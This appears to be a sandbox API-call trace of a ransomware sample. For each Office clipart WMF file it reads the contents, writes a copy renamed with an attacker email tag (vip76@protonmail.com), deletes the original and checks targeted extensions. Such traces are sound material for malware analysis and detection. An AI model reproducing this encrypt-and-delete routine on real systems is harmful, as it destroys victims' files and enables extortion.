	[0195.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.836] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20212) returned 1
	[0195.836] CloseHandle (hObject=0x5e8) returned 1
	[0195.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220
	[0196.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0196.515] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.515] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0196.516] GetLastError () returned 0x0
	[0196.516] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4ef4, lpOverlapped=0x0) returned 1
	[0196.579] WriteFile (in: hFile=0x590, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4f00, lpOverlapped=0x0) returned 1
	[0196.580] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.580] WriteFile (in: hFile=0x590, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0196.580] SetEndOfFile (hFile=0x590) returned 1
	[0196.581] CloseHandle (hObject=0x590) returned 1
	[0196.581] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.581] SetEndOfFile (hFile=0x5e4) returned 1
	[0196.584] CloseHandle (hObject=0x5e4) returned 1
	[0196.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1
	[0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.585] lstrlenW (lpString=".doc") returned 4
	[0196.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.585] lstrlenW (lpString=".docx") returned 5
	[0196.585] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0196.585] lstrlenW (lpString=".pdf") returned 4
	[0196.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.585] lstrlenW (lpString=".xls") returned 4
	[0196.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.585] lstrlenW (lpString=".xlsx") returned 5
	[0196.585] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0196.585] lstrlenW (lpString=".ppt") returned 4
	[0196.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.586] lstrlenW (lpString=".zip") returned 4
	[0196.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.586] lstrlenW (lpString=".rar") returned 4
	[0196.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString=".bz2") returned 4
	[0196.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString=".7z") returned 3
	[0196.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.586] lstrlenW (lpString=".dbf") returned 4
	[0196.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.586] lstrlenW (lpString=".1cd") returned 4
	[0196.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.586] lstrlenW (lpString=".jpg") returned 4
	[0196.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.586] lstrlenW (lpString=".doc") returned 4
	[0196.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString=".docx") returned 5
	[0196.586] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0196.586] lstrlenW (lpString=".pdf") returned 4
	[0196.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.586] lstrlenW (lpString=".xls") returned 4
	[0196.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.586] lstrlenW (lpString=".xlsx") returned 5
	[0196.586] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0196.586] lstrlenW (lpString=".ppt") returned 4
	[0196.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.587] lstrlenW (lpString=".zip") returned 4
	[0196.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.587] lstrlenW (lpString=".rar") returned 4
	[0196.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.587] lstrlenW (lpString=".bz2") returned 4
	[0196.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.587] lstrlenW (lpString=".7z") returned 3
	[0196.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.587] lstrlenW (lpString=".dbf") returned 4
	[0196.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.587] lstrlenW (lpString=".1cd") returned 4
	[0196.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0196.587] lstrlenW (lpString=".jpg") returned 4
	[0196.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.587] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0196.587] lstrlenW (lpString="J0107262.WMF") returned 12
	[0196.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0196.588] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7996) returned 1
	[0196.588] CloseHandle (hObject=0x5e4) returned 1
	[0196.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220
	[0196.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0196.589] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.589] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0196.589] GetLastError () returned 0x0
	[0196.589] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1f3c, lpOverlapped=0x0) returned 1
	[0196.675] WriteFile (in: hFile=0x590, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0196.675] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.676] WriteFile (in: hFile=0x590, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0196.676] SetEndOfFile (hFile=0x590) returned 1
	[0196.676] CloseHandle (hObject=0x590) returned 1
	[0196.676] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.676] SetEndOfFile (hFile=0x5e4) returned 1
	[0196.678] CloseHandle (hObject=0x5e4) returned 1
	[0196.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1
	[0196.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.680] lstrlenW (lpString=".doc") returned 4
	[0196.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.680] lstrlenW (lpString=".docx") returned 5
	[0196.680] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0196.680] lstrlenW (lpString=".pdf") returned 4
	[0196.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.680] lstrlenW (lpString=".xls") returned 4
	[0196.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.680] lstrlenW (lpString=".xlsx") returned 5
	[0196.680] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0196.680] lstrlenW (lpString=".ppt") returned 4
	[0196.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.680] lstrlenW (lpString=".zip") returned 4
	[0196.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.680] lstrlenW (lpString=".rar") returned 4
	[0196.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.680] lstrlenW (lpString=".bz2") returned 4
	[0196.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.680] lstrlenW (lpString=".7z") returned 3
	[0196.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.680] lstrlenW (lpString=".dbf") returned 4
	[0196.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.681] lstrlenW (lpString=".1cd") returned 4
	[0196.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.681] lstrlenW (lpString=".jpg") returned 4
	[0196.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.681] lstrlenW (lpString=".doc") returned 4
	[0196.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString=".docx") returned 5
	[0196.681] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0196.681] lstrlenW (lpString=".pdf") returned 4
	[0196.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString=".xls") returned 4
	[0196.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.681] lstrlenW (lpString=".xlsx") returned 5
	[0196.681] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0196.681] lstrlenW (lpString=".ppt") returned 4
	[0196.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.681] lstrlenW (lpString=".zip") returned 4
	[0196.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.681] lstrlenW (lpString=".rar") returned 4
	[0196.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString=".bz2") returned 4
	[0196.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString=".7z") returned 3
	[0196.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.681] lstrlenW (lpString=".dbf") returned 4
	[0196.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.682] lstrlenW (lpString=".1cd") returned 4
	[0196.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0196.682] lstrlenW (lpString=".jpg") returned 4
	[0196.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.682] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0196.682] lstrlenW (lpString="J0107264.WMF") returned 12
	[0196.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0196.722] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5272) returned 1
	[0196.722] CloseHandle (hObject=0x5e4) returned 1
	[0196.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220
	[0196.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0196.723] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.723] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0196.725] GetLastError () returned 0x0
	[0196.725] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1498, lpOverlapped=0x0) returned 1
	[0197.051] WriteFile (in: hFile=0x590, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0197.053] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.053] WriteFile (in: hFile=0x590, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.053] SetEndOfFile (hFile=0x590) returned 1
	[0197.053] CloseHandle (hObject=0x590) returned 1
	[0197.053] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.053] SetEndOfFile (hFile=0x5e4) returned 1
	[0197.108] CloseHandle (hObject=0x5e4) returned 1
	[0197.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1
	[0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.140] lstrlenW (lpString=".doc") returned 4
	[0197.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.140] lstrlenW (lpString=".docx") returned 5
	[0197.140] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0197.140] lstrlenW (lpString=".pdf") returned 4
	[0197.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.140] lstrlenW (lpString=".xls") returned 4
	[0197.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.140] lstrlenW (lpString=".xlsx") returned 5
	[0197.140] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0197.140] lstrlenW (lpString=".ppt") returned 4
	[0197.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.141] lstrlenW (lpString=".zip") returned 4
	[0197.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.141] lstrlenW (lpString=".rar") returned 4
	[0197.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString=".bz2") returned 4
	[0197.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString=".7z") returned 3
	[0197.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.141] lstrlenW (lpString=".dbf") returned 4
	[0197.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.141] lstrlenW (lpString=".1cd") returned 4
	[0197.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.141] lstrlenW (lpString=".jpg") returned 4
	[0197.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.141] lstrlenW (lpString=".doc") returned 4
	[0197.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString=".docx") returned 5
	[0197.141] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0197.141] lstrlenW (lpString=".pdf") returned 4
	[0197.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.141] lstrlenW (lpString=".xls") returned 4
	[0197.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.142] lstrlenW (lpString=".xlsx") returned 5
	[0197.142] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0197.142] lstrlenW (lpString=".ppt") returned 4
	[0197.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.142] lstrlenW (lpString=".zip") returned 4
	[0197.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.142] lstrlenW (lpString=".rar") returned 4
	[0197.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.142] lstrlenW (lpString=".bz2") returned 4
	[0197.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.142] lstrlenW (lpString=".7z") returned 3
	[0197.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.142] lstrlenW (lpString=".dbf") returned 4
	[0197.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.142] lstrlenW (lpString=".1cd") returned 4
	[0197.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0197.142] lstrlenW (lpString=".jpg") returned 4
	[0197.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.142] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.142] lstrlenW (lpString="J0107288.WMF") returned 12
